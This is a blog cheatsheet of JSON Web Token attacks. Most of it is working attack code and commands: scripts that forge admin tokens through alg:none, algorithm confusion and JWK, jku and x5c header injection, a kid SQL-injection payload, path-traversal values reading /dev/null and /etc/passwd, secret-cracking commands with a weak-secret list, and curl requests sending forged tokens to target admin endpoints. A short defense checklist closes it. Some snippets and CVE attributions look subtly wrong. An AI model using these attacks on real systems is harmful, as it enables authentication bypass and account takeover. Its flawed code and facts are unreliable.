JWT Attack Cheatsheet: Algorithm Confusion, Key Confusion & Token Forgery | Tağmaç - root@Tagoletta:~#

JWT Attack Cheatsheet: Algorithm Confusion, Key Confusion & Token Forgery

Thu May 28 2026

Category: Cheatsheet


JWT Structure

header.payload.signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header: {"alg":"HS256","typ":"JWT"}
Payload: {"sub":"user","role":"user","iat":1234567890}
Signature: HMACSHA256(base64url(header)+"."+base64url(payload), secret)


Attack 1: alg: none Bypass

Server accepts tokens without a signature when alg is set to none.

import base64, json

header = {"alg":"none","typ":"JWT"}
payload = {"sub":"admin","role":"admin","iat":9999999999}

def b64(d):
    return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b'=').decode()

token = f"{b64(header)}.{b64(payload)}."
print(token)

Variations of alg value to try:

none
None
NONE
nOnE
NoNe

Attack 2: HS256/RS256 Algorithm Confusion

When server expects RS256 (asymmetric) but accepts HS256 (symmetric):

Idea: Sign token with HMAC using the public key as the secret. Server verifies with the same public key thinking it's HMAC.

import jwt, base64

# 1. Get the public key from /.well-known/jwks.json or /api/public-key
public_key = open('public.pem','rb').read()

# 2. Forge token signed with HS256 using public key as secret
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(token)

Attack 3: Weak Secret Cracking

# Hashcat
hashcat -a 0 -m 16500 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.XXXX' /usr/share/wordlists/rockyou.txt

# john
john --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt

# jwt_tool brute force
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

# Common weak secrets to try manually
secret
password
123456
jwt_secret
your-256-bit-secret
qwerty
admin
changeme
supersecret
myapp_secret

Attack 4: JWK Header Injection

Embed your own public key in the JWT header → server verifies with your key.

# 1. Generate RSA key pair
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import jwt, json, base64

private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# 2. Export public key as JWK
pub_numbers = public_key.public_key().public_numbers()
n = base64.urlsafe_b64encode(pub_numbers.n.to_bytes(256,'big')).rstrip(b'=').decode()
e = base64.urlsafe_b64encode(pub_numbers.e.to_bytes(4,'big')).rstrip(b'=').decode()

jwk = {
  "kty": "RSA",
  "n": n,
  "e": e,
  "alg": "RS256",
  "use": "sig"
}

# 3. Forge token with embedded JWK
headers = {"alg": "RS256", "jwk": jwk}
payload = {"sub": "admin", "role": "admin"}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)

Attack 5: jku Header Injection

jku points to a URL containing the JWKS. Replace it with your own server.

{
  "alg": "RS256",
  "jku": "https://attacker.com/fake-jwks.json",
  "kid": "mykey"
}

Host at https://attacker.com/fake-jwks.json:

{
  "keys": [{
    "kty": "RSA",
    "kid": "mykey",
    "n": "<your-public-key-n>",
    "e": "AQAB"
  }]
}

Sign token with corresponding private key.


Attack 6: kid SQL Injection

If kid (Key ID) is used in a database lookup:

# Normal kid
{"kid": "1", "alg": "HS256"}

# SQL injection in kid
{"kid": "1' UNION SELECT 'attacker_secret'-- -", "alg": "HS256"}

# Sign with 'attacker_secret'
jwt.encode(payload, 'attacker_secret', algorithm='HS256', headers={'kid': "1' UNION SELECT 'attacker_secret'-- -"})

Attack 7: kid Path Traversal

If kid is a filename:

{
  "kid": "../../dev/null",
  "alg": "HS256"
}

Sign with empty string (content of /dev/null = empty = HMAC with empty key):

jwt.encode(payload, '', algorithm='HS256', headers={'kid': '../../dev/null'})
{
  "kid": "../../../../../../../etc/passwd",
  "alg": "HS256"
}

Sign with content of the referenced file as the secret.


Attack 8: x5c Header Injection

Embed self-signed X.509 certificate in the x5c header:

# Generate self-signed cert
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

# Embed cert in JWT header
import base64
cert_der = open('cert.pem','rb').read()
x5c = [base64.b64encode(cert_der).decode()]

headers = {"alg": "RS256", "x5c": x5c}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)

Attack 9: Claim Tampering (No Signature Check)

If signature is not verified at all:

import base64, json

# Decode existing token
token = "eyJ....eyJ....sig"
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

# Modify claims
payload['role'] = 'admin'
payload['sub'] = 'administrator'

# Re-encode without valid signature
new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
forged = f"{parts[0]}.{new_payload}.{parts[2]}"

Attack 10: Expired Token Reuse

# Set nbf (not before) far in future to make token "not valid yet" but
# check if server still accepts it

# Set exp in past — check if server ignores expiry
{"exp": 1000000000, ...}  # year 2001 = expired

# Set iat far in future — clock skew attacks
{"iat": 9999999999, ...}

jwt_tool — Swiss Army Knife

# Install
git clone https://github.com/ticarpi/jwt_tool

# Basic decode
python3 jwt_tool.py <token>

# Test all attacks
python3 jwt_tool.py <token> -t https://target.com/api/endpoint -rh "Authorization: Bearer <token>" -M at

# alg:none
python3 jwt_tool.py <token> -X a

# HS/RSA confusion
python3 jwt_tool.py <token> -X k -pk public.pem

# Crack weak secret
python3 jwt_tool.py <token> -C -d wordlist.txt

# Tamper payload
python3 jwt_tool.py <token> -T -S hs256 -p "secret"

# JWK injection
python3 jwt_tool.py <token> -X i

# jku injection
python3 jwt_tool.py <token> -X s

Real-World Examples

CVE / Incident Year Product Impact
CVE-2015-9235 2015 jsonwebtoken (npm) alg:none accepted → forge any token
CVE-2022-21449 2022 Java ECDSA (Psychic Signatures) Blank signature accepted → bypass ECDSA verify
CVE-2018-0114 2018 Cisco IOS XE JWT forged with embedded JWK → admin access
Auth0 RS256→HS256 2015 Auth0 / multiple Public key used as HMAC secret → admin token forgery
CVE-2020-28042 2020 python-jwt JWT split by . error → none algorithm accepted
Okta SAML/JWT bypass 2022 Okta JWT claim manipulation → account takeover

Example: CVE-2015-9235 — jsonwebtoken alg:none

import base64, json

# Original token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.SIG

# Step 1: Decode header and payload
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}

def b64e(data):
    return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()

# Step 2: Build token with empty signature
forged = f"{b64e(header)}.{b64e(payload)}."
print(forged)

# Use in request:
curl -H "Authorization: Bearer $forged" https://target.com/api/admin

Example: CVE-2022-21449 — Java Psychic Signatures

// All-zero ECDSA signature passes Java's verification
// Attacker creates token with r=0, s=0 in signature bytes

import java.math.BigInteger;
// ... construct ECDSA signature with r=BigInteger.ZERO, s=BigInteger.ZERO
// Java's ECDSAVerifier accepted this due to missing check

// Proof-of-concept: submit ANY token with zeroed signature
// b64url("r=0000...0000, s=0000...0000") as signature field
// Works against Java 15-17 before patch

Example: HS256/RS256 Confusion — Auth0 (2015)

import jwt

# Step 1: Fetch public key from target
# GET /.well-known/jwks.json → extract RSA public key → save as public.pem

# Step 2: Sign HS256 token using RSA PUBLIC KEY as the HMAC secret
public_key = open('public.pem', 'rb').read()

payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
token = jwt.encode(payload, public_key, algorithm="HS256")

# Step 3: Server verifies with public key thinking it's HS256
# jwt.decode(token, public_key, algorithms=["HS256"])
# → This SUCCEEDS if server doesn't restrict algorithm

curl -H "Authorization: Bearer $token" https://target.com/api/admin/users

Example: jwt_tool — All-in-One Attack

# Decode a token
python3 jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.xxx

# Run all attacks against live endpoint
python3 jwt_tool.py eyJ...token... \
  -t https://target.com/api/admin \
  -rh "Authorization: Bearer eyJ...token..." \
  -M at      # mode: all tests

# Crack HS256 secret
python3 jwt_tool.py eyJ...token... -C -d /usr/share/wordlists/rockyou.txt

# alg:none
python3 jwt_tool.py eyJ...token... -X a

# kid path traversal → sign with /dev/null
python3 jwt_tool.py eyJ...token... -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Useful Online Tools


Recon — Finding the Public Key

# Common JWKS endpoints
/.well-known/jwks.json
/api/auth/jwks
/api/v1/jwks
/oauth/jwks
/auth/keys
/auth/v1/keys
/api/public-key
/public-key
/certs

# Decode RS256 token → look for n, e in header
echo 'eyJ...' | cut -d. -f1 | base64 -d 2>/dev/null | jq

Defense Checklist

  • Validate alg header — reject if not expected (never trust client-provided algorithm)
  • Never accept alg: none
  • Use strong, random HMAC secrets (256+ bits, not guessable)
  • Validate exp, nbf, iat claims
  • Do not trust jku, x5c, jwk headers for key material
  • Sanitize kid parameter — do not use in SQL/file reads
  • Use battle-tested libraries — do not roll your own JWT

References